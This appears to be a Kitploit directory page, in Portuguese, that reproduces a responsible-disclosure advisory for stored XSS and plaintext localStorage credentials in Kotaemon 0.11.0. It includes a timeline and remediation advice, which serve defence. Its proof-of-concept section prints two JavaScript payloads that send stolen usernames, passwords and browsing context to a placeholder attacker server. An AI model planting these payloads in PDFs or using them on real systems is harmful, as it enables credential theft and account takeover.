Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Kotaemon-CVE-2025-56526-56527-disclosure — Divulgação pública para CVE-2025-56526 e CVE-2025-56527 — Stored XSS via renderização não sanitizada de conteúdo PDF e exposição de credenciais em texto puro no Kotaemon 0.11.0. Inclui análise técnica completa, PoC, avaliação de impacto e cronograma de divulgação responsável. | Kitploit
Ferramentas/GitHubGitHub/hantul/kotaemon-cve-2025-56526-56527-disclosure
Ferramentas de PhishingAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebExfiltração de DadosSegurança WebPapers e PesquisaAprendizado e Educação

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
GitHub
hantul/kotaemon-cve-2025-56526-56527-disclosure

Kotaemon-CVE-2025-56526-56527-disclosure

Divulgação pública para CVE-2025-56526 e CVE-2025-56527 — Stored XSS via renderização não sanitizada de conteúdo PDF e exposição de credenciais em texto puro no Kotaemon 0.11.0. Inclui análise técnica completa, PoC, avaliação de impacto e cronograma de divulgação responsável.

Ver Repositório
14há 9 mesesAinda não revisado

Kotaemon CVE-2025-56526 e CVE-2025-56527 Divulgação Pública

Cross-Site Scripting Armazenado no Painel de Informações do Kotaemon combina-se com armazenamento de credenciais em texto simples no localStorage, permitindo comprometimento total da sessão a partir de um único upload de PDF malicioso.

Resumo Executivo

  • Produto / Versões Afetadas: Kotaemon <= 0.11.0 (incluindo o commit 37cdc28)
  • Vulnerabilidades:
    • CVE-2025-56526 – XSS Armazenado via renderização de conteúdo PDF não sanitizado
    • CVE-2025-56527 – Armazenamento de nome de usuário/senha em texto simples no localStorage
  • Privilégios Necessários: Usuário autenticado com permissões de upload de documentos
  • Impacto: Roubo de credenciais, sequestro persistente de sessão, desfiguração da interface de usuário (UI) nas saídas de LLM, comprometimento downstream da confiança do usuário

Visão Geral dos CVEs

CVE IDFraquezaCWEImpacto Principal
CVE-2025-56526XSS Armazenado via HTML derivado de PDFCWE-79Execução arbitrária de JavaScript, exfiltração de dados
CVE-2025-56527Armazenamento de credenciais em texto simplesCWE-922Divulgação de credenciais, sequestro de sessão

Análise Técnica

1. Renderização de Conteúdo PDF Não Sanitizado (XSS Armazenado)

Os resultados da extração de PDF (texto, marcação de tabela, metadados de imagem) são injetados no DOM sem escape. Um PDF malicioso pode, portanto, transportar HTML/JS arbitrário que é executado sempre que o Painel de Informações ou as visualizações de Raciocínio renderizam retrieved_content.

Os caminhos de código afetados incluem:

  • libs/ktem/ktem/utils/render.py (Render.table, Render.image, Render.collapsible_with_header)
  • libs/ktem/ktem/index/file/ui.py (table / image rendering)
  • libs/ktem/ktem/reasoning/simple.py and libs/ktem/ktem/reasoning/react.py
  • libs/kotaemon/kotaemon/indices/qa/format_context.py

2. Armazenamento de Credenciais em Texto Simples no localStorage

libs/ktem/ktem/pages/login.py juntamente com libs/ktem/ktem/assets/js/main.js armazena e recupera credenciais brutas diretamente do localStorage:

root@kitploit:~
setStorage('username', usn);
setStorage('password', pwd);
const username = getStorage('username', '');
const password = getStorage('password', '');

Qualquer JavaScript executado através do vetor XSS pode ler imediatamente esses valores, resultando em roubo de credenciais confiável e tomada de conta duradoura.

Prova de Conceito

  1. Incorpore o payload abaixo em um PDF (por exemplo, dentro de um atributo alt de imagem ou objeto de texto):
root@kitploit:~
 {
  const u = localStorage.getItem('username');
  const p = localStorage.getItem('password');
  if (u && p) {
    new Image().src='https://[ATTACKER-SERVER]?d=' + btoa(`id=${u}&pw=${p}`);
  }
})();
">
  1. Faça o upload do PDF e abra-o no Painel de Informações do Kotaemon. O script embutido é executado dentro da origem da aplicação e exfiltra credenciais.
  2. Um payload atualizado também rouba o contexto de navegação para auxiliar na segmentação:
root@kitploit:~
 {
  const payload = btoa(
    `id=${localStorage.getItem('username')}` +
    `&pw=${localStorage.getItem('password')}` +
    `&url=${location.href}&origin=${location.origin}` +
    `&ua=${navigator.userAgent}`
  );
  new Image().src='https://[ATTACKER-SERVER]?d=' + payload;
})();
">

Impacto

  • XSS Armazenado: JavaScript arbitrário é executado sempre que o PDF malicioso é visualizado.
  • Roubo de Credenciais: Pares username/password em texto simples são expostos a qualquer script injetado.
  • Sequestro Persistente de Sessão: Atacantes podem reutilizar credenciais para se passar por usuários, acessar projetos ou envenenar saídas de LLM.
  • Perda de Integridade das Saídas de LLM: Os usuários não podem mais confiar no Painel de Informações ou nos resultados de raciocínio, permitindo cadeias sofisticadas de engenharia social.

Análise Estendida de Ameaças

Kotaemon é frequentemente implantado em ambientes locais ou empresariais onde os usuários fazem upload de documentos internos confidenciais. Como o conteúdo derivado de PDF é inserido no DOM sem sanitização, um atacante pode disfarçar um payload malicioso dentro de um documento de negócios de aparência normal.

Quando a vítima faz upload e visualiza este documento, o JavaScript oculto é executado automaticamente, roubando credenciais do localStorage e expondo logs de chat privados e conteúdos de documentos.

Embora o gatilho pareça ser iniciado pelo usuário, isso não é self-XSS. A causa raiz é a falha do lado do servidor em sanitizar o HTML extraído de arquivos enviados, permitindo XSS Armazenado dentro de componentes de UI confiáveis.

Como resultado, um único PDF malicioso pode levar ao comprometimento total da conta em cenários realistas de engenharia social.

Recomendações

  1. Escape ou sanitize todo o conteúdo derivado de PDF antes da renderização (por exemplo, html.escape, DOMPurify ou Trusted Types para sinks do DOM).
  2. Aplique um pipeline de lista de permissões de Markdown/HTML para que apenas tags/atributos aprovados cheguem ao navegador.
  3. Proíba o armazenamento no lado do cliente de credenciais brutas; em vez disso, use cookies seguros HTTP-only ou tokens de sessão de curta duração.
  4. Implante CSP (script-src 'self') e Trusted Types para reduzir a superfície de ataque de XSS no DOM.
  5. Adicione testes de regressão para caminhos de ingestão de PDF e defina uma política de manipulação de saída de LLM que trate o conteúdo recuperado como não confiável.

Evidências (screenshots/)

  • PDF malicioso renderizado no Painel de Informações
  • Payload HTML injetado via conteúdo extraído
  • Ferramentas de desenvolvedor mostrando nós DOM não sanitizados
  • Credenciais em texto simples armazenadas no localStorage
  • Requisição de exfiltração de rede emitida pelo payload
  • Servidor do atacante recebendo credenciais codificadas em base64
  • Payload atualizado coletando metadados de URL/origem/UA
  • Sessão/UI resultante controlada pelo atacante

Declaração de Divulgação

Este aviso público segue as práticas padrão da indústria de divulgação responsável:

  • Mais de 90 dias foram fornecidos ao fornecedor para responder e corrigir.
  • Múltiplas tentativas de acompanhamento foram feitas sem que nenhuma resolução ou plano de remediação fosse fornecido.
  • Os identificadores CVE (CVE-2025-56526, CVE-2025-56527) foram oficialmente atribuídos pela MITRE.
  • Um aviso final foi enviado 30 dias antes da divulgação pública.
  • A divulgação pública agora prossegue para proteger os usuários finais e reduzir a exposição a riscos não corrigidos.

Recomendações para Usuários

Usuários do Kotaemon (<= 0.11.0) devem considerar o seguinte até que uma correção de segurança esteja disponível:

  • Monitore o repositório oficial para futuras correções de segurança.
  • Evite processar documentos não confiáveis.

Linha do Tempo da Divulgação

  • 2025-07-14: Relatório inicial de vulnerabilidade submetido à equipe Kotaemon.
  • 2025-08-12: Primeiro acompanhamento; o fornecedor reconheceu estar ocupado e solicitou um prazo.
  • 2025-09-12: Segundo acompanhamento com relatório detalhado e Prova de Conceito (PoC).
  • 2025-09-13: Acompanhamento final; nenhuma resposta adicional.
  • 2025-10-14: Aviso final enviado indicando a intenção de divulgar publicamente.
  • 2025-11-14: Divulgação pública de CVE-2025-56526 e CVE-2025-56527.

Créditos e Contato

  • Este relatório foi preparado por HanTul. (anteriormente da Team 404 Not Found 퇴근, WhiteHat School 3rd Cohort (WHS3), Coreia do Sul).
  • Contato: [email protected]
  • GitHub: @HanTul
Baixar ferramenta